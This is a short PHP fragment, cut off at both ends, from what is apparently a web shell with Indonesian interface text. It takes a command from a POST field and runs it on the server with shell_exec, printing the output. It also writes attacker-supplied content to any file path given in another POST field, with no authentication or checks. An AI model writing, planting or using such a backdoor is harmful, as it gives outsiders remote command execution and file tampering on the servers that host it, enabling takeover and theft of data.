"; } if (isset($_POST['cmd'])) { echo "
→ " . htmlspecialchars($_POST['cmd']) . ":"; echo "
" . shell_exec($_POST['cmd']) . ""; } if (isset($_POST['edit_file'])) { file_put_contents($_POST['edit_file'], $_POST['content']); echo "… File berhasil diedit!